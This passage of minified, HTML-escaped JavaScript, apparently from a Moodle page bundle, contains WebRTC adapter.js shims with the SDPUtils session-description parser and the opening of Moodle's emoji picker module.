OrigPeerConnection(pcConfig,pcConstraints)},window.RTCPeerConnection.prototype=OrigPeerConnection.prototype,&quot;generateCertificate&quot;in OrigPeerConnection&amp;&amp;Object.defineProperty(window.RTCPeerConnection,&quot;generateCertificate&quot;,{get:function(){return OrigPeerConnection.generateCertificate}})},exports.shimTrackEventTransceiver=function(window){&quot;object&quot;===(void 0===window?&quot;undefined&quot;:_typeof(window))&amp;&amp;window.RTCTrackEvent&amp;&amp;&quot;receiver&quot;in window.RTCTrackEvent.prototype&amp;&amp;!(&quot;transceiver&quot;in window.RTCTrackEvent.prototype)&amp;&amp;Object.defineProperty(window.RTCTrackEvent.prototype,&quot;transceiver&quot;,{get:function(){return{receiver:this.receiver}}})},exports.shimCreateOfferLegacy=function(window){var origCreateOffer=window.RTCPeerConnection.prototype.createOffer;window.RTCPeerConnection.prototype.createOffer=function(offerOptions){if(offerOptions){void 0!==offerOptions.offerToReceiveAudio&amp;&amp;(offerOptions.offerToReceiveAudio=!!offerOptions.offerToReceiveAudio);var audioTransceiver=this.getTransceivers().find((function(transceiver){return&quot;audio&quot;===transceiver.receiver.track.kind}));!1===offerOptions.offerToReceiveAudio&amp;&amp;audioTransceiver?&quot;sendrecv&quot;===audioTransceiver.direction?audioTransceiver.setDirection?audioTransceiver.setDirection(&quot;sendonly&quot;):audioTransceiver.direction=&quot;sendonly&quot;:&quot;recvonly&quot;===audioTransceiver.direction&amp;&amp;(audioTransceiver.setDirection?audioTransceiver.setDirection(&quot;inactive&quot;):audioTransceiver.direction=&quot;inactive&quot;):!0!==offerOptions.offerToReceiveAudio||audioTransceiver||this.addTransceiver(&quot;audio&quot;),void 0!==offerOptions.offerToReceiveVideo&amp;&amp;(offerOptions.offerToReceiveVideo=!!offerOptions.offerToReceiveVideo);var videoTransceiver=this.getTransceivers().find((function(transceiver){return&quot;video&quot;===transceiver.receiver.track.kind}));!1===offerOptions.offerToReceiveVideo&amp;&amp;videoTransceiver?&quot;sendrecv&quot;===videoTransceiver.direction?videoTransceiver.setDirection?videoTransceiver.setDirection(&quot;sendonly&quot;):videoTransceiver.direction=&quot;sendonly&quot;:&quot;recvonly&quot;===videoTransceiver.direction&amp;&amp;(videoTransceiver.setDirection?videoTransceiver.setDirection(&quot;inactive&quot;):videoTransceiver.direction=&quot;inactive&quot;):!0!==offerOptions.offerToReceiveVideo||videoTransceiver||this.addTransceiver(&quot;video&quot;)}return origCreateOffer.apply(this,arguments)}},exports.shimAudioContext=function(window){if(&quot;object&quot;!==(void 0===window?&quot;undefined&quot;:_typeof(window))||window.AudioContext)return;window.AudioContext=window.webkitAudioContext};var utils=function(obj){if(obj&amp;&amp;obj.__esModule)return obj;var newObj={};if(null!=obj)for(var key in obj)Object.prototype.hasOwnProperty.call(obj,key)&amp;&amp;(newObj[key]=obj[key]);return newObj.default=obj,newObj}(require(&quot;../utils&quot;));function shimConstraints(constraints){return constraints&amp;&amp;void 0!==constraints.video?Object.assign({},constraints,{video:utils.compactObject(constraints.video)}):constraints}},{&quot;../utils&quot;:11}],11:[function(require,module,exports){Object.defineProperty(exports,&quot;__esModule&quot;,{value:!0});var _typeof=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(obj){return typeof obj}:function(obj){return obj&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;obj.constructor===Symbol&amp;&amp;obj!==Symbol.prototype?&quot;symbol&quot;:typeof obj};exports.extractVersion=extractVersion,exports.wrapPeerConnectionEvent=function(window,eventNameToWrap,wrapper){if(!window.RTCPeerConnection)return;var proto=window.RTCPeerConnection.prototype,nativeAddEventListener=proto.addEventListener;proto.addEventListener=function(nativeEventName,cb){if(nativeEventName!==eventNameToWrap)return nativeAddEventListener.apply(this,arguments);var wrappedCallback=function(e){var modifiedEvent=wrapper(e);modifiedEvent&amp;&amp;(cb.handleEvent?cb.handleEvent(modifiedEvent):cb(modifiedEvent))};return this._eventMap=this._eventMap||{},this._eventMap[eventNameToWrap]||(this._eventMap[eventNameToWrap]=new Map),this._eventMap[eventNameToWrap].set(cb,wrappedCallback),nativeAddEventListener.apply(this,[nativeEventName,wrappedCallback])};var nativeRemoveEventListener=proto.removeEventListener;proto.removeEventListener=function(nativeEventName,cb){if(nativeEventName!==eventNameToWrap||!this._eventMap||!this._eventMap[eventNameToWrap])return nativeRemoveEventListener.apply(this,arguments);if(!this._eventMap[eventNameToWrap].has(cb))return nativeRemoveEventListener.apply(this,arguments);var unwrappedCb=this._eventMap[eventNameToWrap].get(cb);return this._eventMap[eventNameToWrap].delete(cb),0===this._eventMap[eventNameToWrap].size&amp;&amp;delete this._eventMap[eventNameToWrap],0===Object.keys(this._eventMap).length&amp;&amp;delete this._eventMap,nativeRemoveEventListener.apply(this,[nativeEventName,unwrappedCb])},Object.defineProperty(proto,&quot;on&quot;+eventNameToWrap,{get:function(){return this[&quot;_on&quot;+eventNameToWrap]},set:function(cb){this[&quot;_on&quot;+eventNameToWrap]&amp;&amp;(this.removeEventListener(eventNameToWrap,this[&quot;_on&quot;+eventNameToWrap]),delete this[&quot;_on&quot;+eventNameToWrap]),cb&amp;&amp;this.addEventListener(eventNameToWrap,this[&quot;_on&quot;+eventNameToWrap]=cb)},enumerable:!0,configurable:!0})},exports.disableLog=function(bool){if(&quot;boolean&quot;!=typeof bool)return new Error(&quot;Argument type: &quot;+(void 0===bool?&quot;undefined&quot;:_typeof(bool))+&quot;. Please use a boolean.&quot;);return logDisabled_=bool,bool?&quot;adapter.js logging disabled&quot;:&quot;adapter.js logging enabled&quot;},exports.disableWarnings=function(bool){if(&quot;boolean&quot;!=typeof bool)return new Error(&quot;Argument type: &quot;+(void 0===bool?&quot;undefined&quot;:_typeof(bool))+&quot;. Please use a boolean.&quot;);return deprecationWarnings_=!bool,&quot;adapter.js deprecation warnings &quot;+(bool?&quot;disabled&quot;:&quot;enabled&quot;)},exports.log=function(){if(&quot;object&quot;===(&quot;undefined&quot;==typeof window?&quot;undefined&quot;:_typeof(window))){if(logDisabled_)return;&quot;undefined&quot;!=typeof console&amp;&amp;&quot;function&quot;==typeof console.log&amp;&amp;console.log.apply(console,arguments)}},exports.deprecated=function(oldMethod,newMethod){if(!deprecationWarnings_)return;console.warn(oldMethod+&quot; is deprecated, please use &quot;+newMethod+&quot; instead.&quot;)},exports.detectBrowser=function(window){var result={browser:null,version:null};if(void 0===window||!window.navigator)return result.browser=&quot;Not a browser.&quot;,result;var navigator=window.navigator;if(navigator.mozGetUserMedia)result.browser=&quot;firefox&quot;,result.version=extractVersion(navigator.userAgent,/Firefox\/(\d+)\./,1);else if(navigator.webkitGetUserMedia||!1===window.isSecureContext&amp;&amp;window.webkitRTCPeerConnection&amp;&amp;!window.RTCIceGatherer)result.browser=&quot;chrome&quot;,result.version=extractVersion(navigator.userAgent,/Chrom(e|ium)\/(\d+)\./,2);else{if(!window.RTCPeerConnection||!navigator.userAgent.match(/AppleWebKit\/(\d+)\./))return result.browser=&quot;Not a supported browser.&quot;,result;result.browser=&quot;safari&quot;,result.version=extractVersion(navigator.userAgent,/AppleWebKit\/(\d+)\./,1),result.supportsUnifiedPlan=window.RTCRtpTransceiver&amp;&amp;&quot;currentDirection&quot;in window.RTCRtpTransceiver.prototype}return result},exports.compactObject=function compactObject(data){if(!isObject(data))return data;return Object.keys(data).reduce((function(accumulator,key){var isObj=isObject(data[key]),value=isObj?compactObject(data[key]):data[key],isEmptyObject=isObj&amp;&amp;!Object.keys(value).length;return void 0===value||isEmptyObject?accumulator:Object.assign(accumulator,function(obj,key,value){key in obj?Object.defineProperty(obj,key,{value:value,enumerable:!0,configurable:!0,writable:!0}):obj[key]=value;return obj}({},key,value))}),{})},exports.walkStats=walkStats,exports.filterStats=function(result,track,outbound){var streamStatsType=outbound?&quot;outbound-rtp&quot;:&quot;inbound-rtp&quot;,filteredResult=new Map;if(null===track)return filteredResult;var trackStats=[];return result.forEach((function(value){&quot;track&quot;===value.type&amp;&amp;value.trackIdentifier===track.id&amp;&amp;trackStats.push(value)})),trackStats.forEach((function(trackStat){result.forEach((function(stats){stats.type===streamStatsType&amp;&amp;stats.trackId===trackStat.id&amp;&amp;walkStats(result,stats,filteredResult)}))})),filteredResult};var logDisabled_=!0,deprecationWarnings_=!0;function extractVersion(uastring,expr,pos){var match=uastring.match(expr);return match&amp;&amp;match.length&gt;=pos&amp;&amp;parseInt(match[pos],10)}function isObject(val){return&quot;[object Object]&quot;===Object.prototype.toString.call(val)}function walkStats(stats,base,resultSet){base&amp;&amp;!resultSet.has(base.id)&amp;&amp;(resultSet.set(base.id,base),Object.keys(base).forEach((function(name){name.endsWith(&quot;Id&quot;)?walkStats(stats,stats.get(base[name]),resultSet):name.endsWith(&quot;Ids&quot;)&amp;&amp;base[name].forEach((function(id){walkStats(stats,stats.get(id),resultSet)}))})))}},{}],12:[function(require,module,exports){var _typeof=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(obj){return typeof obj}:function(obj){return obj&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;obj.constructor===Symbol&amp;&amp;obj!==Symbol.prototype?&quot;symbol&quot;:typeof obj},SDPUtils={generateIdentifier:function(){return Math.random().toString(36).substr(2,10)}};SDPUtils.localCName=SDPUtils.generateIdentifier(),SDPUtils.splitLines=function(blob){return blob.trim().split(&quot;\n&quot;).map((function(line){return line.trim()}))},SDPUtils.splitSections=function(blob){return blob.split(&quot;\nm=&quot;).map((function(part,index){return(index&gt;0?&quot;m=&quot;+part:part).trim()+&quot;\r\n&quot;}))},SDPUtils.getDescription=function(blob){var sections=SDPUtils.splitSections(blob);return sections&amp;&amp;sections[0]},SDPUtils.getMediaSections=function(blob){var sections=SDPUtils.splitSections(blob);return sections.shift(),sections},SDPUtils.matchPrefix=function(blob,prefix){return SDPUtils.splitLines(blob).filter((function(line){return 0===line.indexOf(prefix)}))},SDPUtils.parseCandidate=function(line){for(var parts=void 0,candidate={foundation:(parts=0===line.indexOf(&quot;a=candidate:&quot;)?line.substring(12).split(&quot; &quot;):line.substring(10).split(&quot; &quot;))[0],component:{1:&quot;rtp&quot;,2:&quot;rtcp&quot;}[parts[1]],protocol:parts[2].toLowerCase(),priority:parseInt(parts[3],10),ip:parts[4],address:parts[4],port:parseInt(parts[5],10),type:parts[7]},i=8;i&lt;parts.length;i+=2)switch(parts[i]){case&quot;raddr&quot;:candidate.relatedAddress=parts[i+1];break;case&quot;rport&quot;:candidate.relatedPort=parseInt(parts[i+1],10);break;case&quot;tcptype&quot;:candidate.tcpType=parts[i+1];break;case&quot;ufrag&quot;:candidate.ufrag=parts[i+1],candidate.usernameFragment=parts[i+1];break;default:void 0===candidate[parts[i]]&amp;&amp;(candidate[parts[i]]=parts[i+1])}return candidate},SDPUtils.writeCandidate=function(candidate){var sdp=[];sdp.push(candidate.foundation);var component=candidate.component;&quot;rtp&quot;===component?sdp.push(1):&quot;rtcp&quot;===component?sdp.push(2):sdp.push(component),sdp.push(candidate.protocol.toUpperCase()),sdp.push(candidate.priority),sdp.push(candidate.address||candidate.ip),sdp.push(candidate.port);var type=candidate.type;return sdp.push(&quot;typ&quot;),sdp.push(type),&quot;host&quot;!==type&amp;&amp;candidate.relatedAddress&amp;&amp;candidate.relatedPort&amp;&amp;(sdp.push(&quot;raddr&quot;),sdp.push(candidate.relatedAddress),sdp.push(&quot;rport&quot;),sdp.push(candidate.relatedPort)),candidate.tcpType&amp;&amp;&quot;tcp&quot;===candidate.protocol.toLowerCase()&amp;&amp;(sdp.push(&quot;tcptype&quot;),sdp.push(candidate.tcpType)),(candidate.usernameFragment||candidate.ufrag)&amp;&amp;(sdp.push(&quot;ufrag&quot;),sdp.push(candidate.usernameFragment||candidate.ufrag)),&quot;candidate:&quot;+sdp.join(&quot; &quot;)},SDPUtils.parseIceOptions=function(line){return line.substr(14).split(&quot; &quot;)},SDPUtils.parseRtpMap=function(line){var parts=line.substr(9).split(&quot; &quot;),parsed={payloadType:parseInt(parts.shift(),10)};return parts=parts[0].split(&quot;/&quot;),parsed.name=parts[0],parsed.clockRate=parseInt(parts[1],10),parsed.channels=3===parts.length?parseInt(parts[2],10):1,parsed.numChannels=parsed.channels,parsed},SDPUtils.writeRtpMap=function(codec){var pt=codec.payloadType;void 0!==codec.preferredPayloadType&amp;&amp;(pt=codec.preferredPayloadType);var channels=codec.channels||codec.numChannels||1;return&quot;a=rtpmap:&quot;+pt+&quot; &quot;+codec.name+&quot;/&quot;+codec.clockRate+(1!==channels?&quot;/&quot;+channels:&quot;&quot;)+&quot;\r\n&quot;},SDPUtils.parseExtmap=function(line){var parts=line.substr(9).split(&quot; &quot;);return{id:parseInt(parts[0],10),direction:parts[0].indexOf(&quot;/&quot;)&gt;0?parts[0].split(&quot;/&quot;)[1]:&quot;sendrecv&quot;,uri:parts[1]}},SDPUtils.writeExtmap=function(headerExtension){return&quot;a=extmap:&quot;+(headerExtension.id||headerExtension.preferredId)+(headerExtension.direction&amp;&amp;&quot;sendrecv&quot;!==headerExtension.direction?&quot;/&quot;+headerExtension.direction:&quot;&quot;)+&quot; &quot;+headerExtension.uri+&quot;\r\n&quot;},SDPUtils.parseFmtp=function(line){for(var parsed={},kv=void 0,parts=line.substr(line.indexOf(&quot; &quot;)+1).split(&quot;;&quot;),j=0;j&lt;parts.length;j++)parsed[(kv=parts[j].trim().split(&quot;=&quot;))[0].trim()]=kv[1];return parsed},SDPUtils.writeFmtp=function(codec){var line=&quot;&quot;,pt=codec.payloadType;if(void 0!==codec.preferredPayloadType&amp;&amp;(pt=codec.preferredPayloadType),codec.parameters&amp;&amp;Object.keys(codec.parameters).length){var params=[];Object.keys(codec.parameters).forEach((function(param){codec.parameters[param]?params.push(param+&quot;=&quot;+codec.parameters[param]):params.push(param)})),line+=&quot;a=fmtp:&quot;+pt+&quot; &quot;+params.join(&quot;;&quot;)+&quot;\r\n&quot;}return line},SDPUtils.parseRtcpFb=function(line){var parts=line.substr(line.indexOf(&quot; &quot;)+1).split(&quot; &quot;);return{type:parts.shift(),parameter:parts.join(&quot; &quot;)}},SDPUtils.writeRtcpFb=function(codec){var lines=&quot;&quot;,pt=codec.payloadType;return void 0!==codec.preferredPayloadType&amp;&amp;(pt=codec.preferredPayloadType),codec.rtcpFeedback&amp;&amp;codec.rtcpFeedback.length&amp;&amp;codec.rtcpFeedback.forEach((function(fb){lines+=&quot;a=rtcp-fb:&quot;+pt+&quot; &quot;+fb.type+(fb.parameter&amp;&amp;fb.parameter.length?&quot; &quot;+fb.parameter:&quot;&quot;)+&quot;\r\n&quot;})),lines},SDPUtils.parseSsrcMedia=function(line){var sp=line.indexOf(&quot; &quot;),parts={ssrc:parseInt(line.substr(7,sp-7),10)},colon=line.indexOf(&quot;:&quot;,sp);return colon&gt;-1?(parts.attribute=line.substr(sp+1,colon-sp-1),parts.value=line.substr(colon+1)):parts.attribute=line.substr(sp+1),parts},SDPUtils.parseSsrcGroup=function(line){var parts=line.substr(13).split(&quot; &quot;);return{semantics:parts.shift(),ssrcs:parts.map((function(ssrc){return parseInt(ssrc,10)}))}},SDPUtils.getMid=function(mediaSection){var mid=SDPUtils.matchPrefix(mediaSection,&quot;a=mid:&quot;)[0];if(mid)return mid.substr(6)},SDPUtils.parseFingerprint=function(line){var parts=line.substr(14).split(&quot; &quot;);return{algorithm:parts[0].toLowerCase(),value:parts[1]}},SDPUtils.getDtlsParameters=function(mediaSection,sessionpart){return{role:&quot;auto&quot;,fingerprints:SDPUtils.matchPrefix(mediaSection+sessionpart,&quot;a=fingerprint:&quot;).map(SDPUtils.parseFingerprint)}},SDPUtils.writeDtlsParameters=function(params,setupType){var sdp=&quot;a=setup:&quot;+setupType+&quot;\r\n&quot;;return params.fingerprints.forEach((function(fp){sdp+=&quot;a=fingerprint:&quot;+fp.algorithm+&quot; &quot;+fp.value+&quot;\r\n&quot;})),sdp},SDPUtils.parseCryptoLine=function(line){var parts=line.substr(9).split(&quot; &quot;);return{tag:parseInt(parts[0],10),cryptoSuite:parts[1],keyParams:parts[2],sessionParams:parts.slice(3)}},SDPUtils.writeCryptoLine=function(parameters){return&quot;a=crypto:&quot;+parameters.tag+&quot; &quot;+parameters.cryptoSuite+&quot; &quot;+(&quot;object&quot;===_typeof(parameters.keyParams)?SDPUtils.writeCryptoKeyParams(parameters.keyParams):parameters.keyParams)+(parameters.sessionParams?&quot; &quot;+parameters.sessionParams.join(&quot; &quot;):&quot;&quot;)+&quot;\r\n&quot;},SDPUtils.parseCryptoKeyParams=function(keyParams){if(0!==keyParams.indexOf(&quot;inline:&quot;))return null;var parts=keyParams.substr(7).split(&quot;|&quot;);return{keyMethod:&quot;inline&quot;,keySalt:parts[0],lifeTime:parts[1],mkiValue:parts[2]?parts[2].split(&quot;:&quot;)[0]:void 0,mkiLength:parts[2]?parts[2].split(&quot;:&quot;)[1]:void 0}},SDPUtils.writeCryptoKeyParams=function(keyParams){return keyParams.keyMethod+&quot;:&quot;+keyParams.keySalt+(keyParams.lifeTime?&quot;|&quot;+keyParams.lifeTime:&quot;&quot;)+(keyParams.mkiValue&amp;&amp;keyParams.mkiLength?&quot;|&quot;+keyParams.mkiValue+&quot;:&quot;+keyParams.mkiLength:&quot;&quot;)},SDPUtils.getCryptoParameters=function(mediaSection,sessionpart){return SDPUtils.matchPrefix(mediaSection+sessionpart,&quot;a=crypto:&quot;).map(SDPUtils.parseCryptoLine)},SDPUtils.getIceParameters=function(mediaSection,sessionpart){var ufrag=SDPUtils.matchPrefix(mediaSection+sessionpart,&quot;a=ice-ufrag:&quot;)[0],pwd=SDPUtils.matchPrefix(mediaSection+sessionpart,&quot;a=ice-pwd:&quot;)[0];return ufrag&amp;&amp;pwd?{usernameFragment:ufrag.substr(12),password:pwd.substr(10)}:null},SDPUtils.writeIceParameters=function(params){var sdp=&quot;a=ice-ufrag:&quot;+params.usernameFragment+&quot;\r\na=ice-pwd:&quot;+params.password+&quot;\r\n&quot;;return params.iceLite&amp;&amp;(sdp+=&quot;a=ice-lite\r\n&quot;),sdp},SDPUtils.parseRtpParameters=function(mediaSection){for(var description={codecs:[],headerExtensions:[],fecMechanisms:[],rtcp:[]},mline=SDPUtils.splitLines(mediaSection)[0].split(&quot; &quot;),i=3;i&lt;mline.length;i++){var pt=mline[i],rtpmapline=SDPUtils.matchPrefix(mediaSection,&quot;a=rtpmap:&quot;+pt+&quot; &quot;)[0];if(rtpmapline){var codec=SDPUtils.parseRtpMap(rtpmapline),fmtps=SDPUtils.matchPrefix(mediaSection,&quot;a=fmtp:&quot;+pt+&quot; &quot;);switch(codec.parameters=fmtps.length?SDPUtils.parseFmtp(fmtps[0]):{},codec.rtcpFeedback=SDPUtils.matchPrefix(mediaSection,&quot;a=rtcp-fb:&quot;+pt+&quot; &quot;).map(SDPUtils.parseRtcpFb),description.codecs.push(codec),codec.name.toUpperCase()){case&quot;RED&quot;:case&quot;ULPFEC&quot;:description.fecMechanisms.push(codec.name.toUpperCase())}}}return SDPUtils.matchPrefix(mediaSection,&quot;a=extmap:&quot;).forEach((function(line){description.headerExtensions.push(SDPUtils.parseExtmap(line))})),description},SDPUtils.writeRtpDescription=function(kind,caps){var sdp=&quot;&quot;;sdp+=&quot;m=&quot;+kind+&quot; &quot;,sdp+=caps.codecs.length&gt;0?&quot;9&quot;:&quot;0&quot;,sdp+=&quot; UDP/TLS/RTP/SAVPF &quot;,sdp+=caps.codecs.map((function(codec){return void 0!==codec.preferredPayloadType?codec.preferredPayloadType:codec.payloadType})).join(&quot; &quot;)+&quot;\r\n&quot;,sdp+=&quot;c=IN IP4 0.0.0.0\r\n&quot;,sdp+=&quot;a=rtcp:9 IN IP4 0.0.0.0\r\n&quot;,caps.codecs.forEach((function(codec){sdp+=SDPUtils.writeRtpMap(codec),sdp+=SDPUtils.writeFmtp(codec),sdp+=SDPUtils.writeRtcpFb(codec)}));var maxptime=0;return caps.codecs.forEach((function(codec){codec.maxptime&gt;maxptime&amp;&amp;(maxptime=codec.maxptime)})),maxptime&gt;0&amp;&amp;(sdp+=&quot;a=maxptime:&quot;+maxptime+&quot;\r\n&quot;),caps.headerExtensions&amp;&amp;caps.headerExtensions.forEach((function(extension){sdp+=SDPUtils.writeExtmap(extension)})),sdp},SDPUtils.parseRtpEncodingParameters=function(mediaSection){var encodingParameters=[],description=SDPUtils.parseRtpParameters(mediaSection),hasRed=-1!==description.fecMechanisms.indexOf(&quot;RED&quot;),hasUlpfec=-1!==description.fecMechanisms.indexOf(&quot;ULPFEC&quot;),ssrcs=SDPUtils.matchPrefix(mediaSection,&quot;a=ssrc:&quot;).map((function(line){return SDPUtils.parseSsrcMedia(line)})).filter((function(parts){return&quot;cname&quot;===parts.attribute})),primarySsrc=ssrcs.length&gt;0&amp;&amp;ssrcs[0].ssrc,secondarySsrc=void 0,flows=SDPUtils.matchPrefix(mediaSection,&quot;a=ssrc-group:FID&quot;).map((function(line){return line.substr(17).split(&quot; &quot;).map((function(part){return parseInt(part,10)}))}));flows.length&gt;0&amp;&amp;flows[0].length&gt;1&amp;&amp;flows[0][0]===primarySsrc&amp;&amp;(secondarySsrc=flows[0][1]),description.codecs.forEach((function(codec){if(&quot;RTX&quot;===codec.name.toUpperCase()&amp;&amp;codec.parameters.apt){var encParam={ssrc:primarySsrc,codecPayloadType:parseInt(codec.parameters.apt,10)};primarySsrc&amp;&amp;secondarySsrc&amp;&amp;(encParam.rtx={ssrc:secondarySsrc}),encodingParameters.push(encParam),hasRed&amp;&amp;((encParam=JSON.parse(JSON.stringify(encParam))).fec={ssrc:primarySsrc,mechanism:hasUlpfec?&quot;red+ulpfec&quot;:&quot;red&quot;},encodingParameters.push(encParam))}})),0===encodingParameters.length&amp;&amp;primarySsrc&amp;&amp;encodingParameters.push({ssrc:primarySsrc});var bandwidth=SDPUtils.matchPrefix(mediaSection,&quot;b=&quot;);return bandwidth.length&amp;&amp;(bandwidth=0===bandwidth[0].indexOf(&quot;b=TIAS:&quot;)?parseInt(bandwidth[0].substr(7),10):0===bandwidth[0].indexOf(&quot;b=AS:&quot;)?1e3*parseInt(bandwidth[0].substr(5),10)*.95-16e3:void 0,encodingParameters.forEach((function(params){params.maxBitrate=bandwidth}))),encodingParameters},SDPUtils.parseRtcpParameters=function(mediaSection){var rtcpParameters={},remoteSsrc=SDPUtils.matchPrefix(mediaSection,&quot;a=ssrc:&quot;).map((function(line){return SDPUtils.parseSsrcMedia(line)})).filter((function(obj){return&quot;cname&quot;===obj.attribute}))[0];remoteSsrc&amp;&amp;(rtcpParameters.cname=remoteSsrc.value,rtcpParameters.ssrc=remoteSsrc.ssrc);var rsize=SDPUtils.matchPrefix(mediaSection,&quot;a=rtcp-rsize&quot;);rtcpParameters.reducedSize=rsize.length&gt;0,rtcpParameters.compound=0===rsize.length;var mux=SDPUtils.matchPrefix(mediaSection,&quot;a=rtcp-mux&quot;);return rtcpParameters.mux=mux.length&gt;0,rtcpParameters},SDPUtils.writeRtcpParameters=function(rtcpParameters){var sdp=&quot;&quot;;return rtcpParameters.reducedSize&amp;&amp;(sdp+=&quot;a=rtcp-rsize\r\n&quot;),rtcpParameters.mux&amp;&amp;(sdp+=&quot;a=rtcp-mux\r\n&quot;),void 0!==rtcpParameters.ssrc&amp;&amp;rtcpParameters.cname&amp;&amp;(sdp+=&quot;a=ssrc:&quot;+rtcpParameters.ssrc+&quot; cname:&quot;+rtcpParameters.cname+&quot;\r\n&quot;),sdp},SDPUtils.parseMsid=function(mediaSection){var parts=void 0,spec=SDPUtils.matchPrefix(mediaSection,&quot;a=msid:&quot;);if(1===spec.length)return{stream:(parts=spec[0].substr(7).split(&quot; &quot;))[0],track:parts[1]};var planB=SDPUtils.matchPrefix(mediaSection,&quot;a=ssrc:&quot;).map((function(line){return SDPUtils.parseSsrcMedia(line)})).filter((function(msidParts){return&quot;msid&quot;===msidParts.attribute}));return planB.length&gt;0?{stream:(parts=planB[0].value.split(&quot; &quot;))[0],track:parts[1]}:void 0},SDPUtils.parseSctpDescription=function(mediaSection){var mline=SDPUtils.parseMLine(mediaSection),maxSizeLine=SDPUtils.matchPrefix(mediaSection,&quot;a=max-message-size:&quot;),maxMessageSize=void 0;maxSizeLine.length&gt;0&amp;&amp;(maxMessageSize=parseInt(maxSizeLine[0].substr(19),10)),isNaN(maxMessageSize)&amp;&amp;(maxMessageSize=65536);var sctpPort=SDPUtils.matchPrefix(mediaSection,&quot;a=sctp-port:&quot;);if(sctpPort.length&gt;0)return{port:parseInt(sctpPort[0].substr(12),10),protocol:mline.fmt,maxMessageSize:maxMessageSize};var sctpMapLines=SDPUtils.matchPrefix(mediaSection,&quot;a=sctpmap:&quot;);if(sctpMapLines.length&gt;0){var parts=sctpMapLines[0].substr(10).split(&quot; &quot;);return{port:parseInt(parts[0],10),protocol:parts[1],maxMessageSize:maxMessageSize}}},SDPUtils.writeSctpDescription=function(media,sctp){var output=[];return output=&quot;DTLS/SCTP&quot;!==media.protocol?[&quot;m=&quot;+media.kind+&quot; 9 &quot;+media.protocol+&quot; &quot;+sctp.protocol+&quot;\r\n&quot;,&quot;c=IN IP4 0.0.0.0\r\n&quot;,&quot;a=sctp-port:&quot;+sctp.port+&quot;\r\n&quot;]:[&quot;m=&quot;+media.kind+&quot; 9 &quot;+media.protocol+&quot; &quot;+sctp.port+&quot;\r\n&quot;,&quot;c=IN IP4 0.0.0.0\r\n&quot;,&quot;a=sctpmap:&quot;+sctp.port+&quot; &quot;+sctp.protocol+&quot; 65535\r\n&quot;],void 0!==sctp.maxMessageSize&amp;&amp;output.push(&quot;a=max-message-size:&quot;+sctp.maxMessageSize+&quot;\r\n&quot;),output.join(&quot;&quot;)},SDPUtils.generateSessionId=function(){return Math.random().toString().substr(2,21)},SDPUtils.writeSessionBoilerplate=function(sessId,sessVer,sessUser){var version=void 0!==sessVer?sessVer:2;return&quot;v=0\r\no=&quot;+(sessUser||&quot;thisisadapterortc&quot;)+&quot; &quot;+(sessId||SDPUtils.generateSessionId())+&quot; &quot;+version+&quot; IN IP4 127.0.0.1\r\ns=-\r\nt=0 0\r\n&quot;},SDPUtils.getDirection=function(mediaSection,sessionpart){for(var lines=SDPUtils.splitLines(mediaSection),i=0;i&lt;lines.length;i++)switch(lines[i]){case&quot;a=sendrecv&quot;:case&quot;a=sendonly&quot;:case&quot;a=recvonly&quot;:case&quot;a=inactive&quot;:return lines[i].substr(2)}return sessionpart?SDPUtils.getDirection(sessionpart):&quot;sendrecv&quot;},SDPUtils.getKind=function(mediaSection){return SDPUtils.splitLines(mediaSection)[0].split(&quot; &quot;)[0].substr(2)},SDPUtils.isRejected=function(mediaSection){return&quot;0&quot;===mediaSection.split(&quot; &quot;,2)[1]},SDPUtils.parseMLine=function(mediaSection){var parts=SDPUtils.splitLines(mediaSection)[0].substr(2).split(&quot; &quot;);return{kind:parts[0],port:parseInt(parts[1],10),protocol:parts[2],fmt:parts.slice(3).join(&quot; &quot;)}},SDPUtils.parseOLine=function(mediaSection){var parts=SDPUtils.matchPrefix(mediaSection,&quot;o=&quot;)[0].substr(2).split(&quot; &quot;);return{username:parts[0],sessionId:parts[1],sessionVersion:parseInt(parts[2],10),netType:parts[3],addressType:parts[4],address:parts[5]}},SDPUtils.isValidSDP=function(blob){if(&quot;string&quot;!=typeof blob||0===blob.length)return!1;for(var lines=SDPUtils.splitLines(blob),i=0;i&lt;lines.length;i++)if(lines[i].length&lt;2||&quot;=&quot;!==lines[i].charAt(1))return!1;return!0},&quot;object&quot;===(void 0===module?&quot;undefined&quot;:_typeof(module))&amp;&amp;(module.exports=SDPUtils)},{}]},{},[1])(1)}));
define(&quot;core/emoji/picker&quot;,[&quot;exports&quot;,&quot;core/localstorage&quot;,&quot;core/emoji/data&quot;,&quot;core/utils&quot;,&quot;core/str&quot;,&quot;core/templates&quot;],(function(_exports,_localstorage,EmojiData,_utils,_str,_templates){var obj;
/**
   * Emoji picker.
   *
   * @module core/emoji/picker
   * @copyright  2019 Ryan Wyllie &lt;ryan@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_localstorage=(obj=_localstorage)&amp;&amp;obj.__esModule?obj:{default:obj},EmojiData=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(EmojiData);const 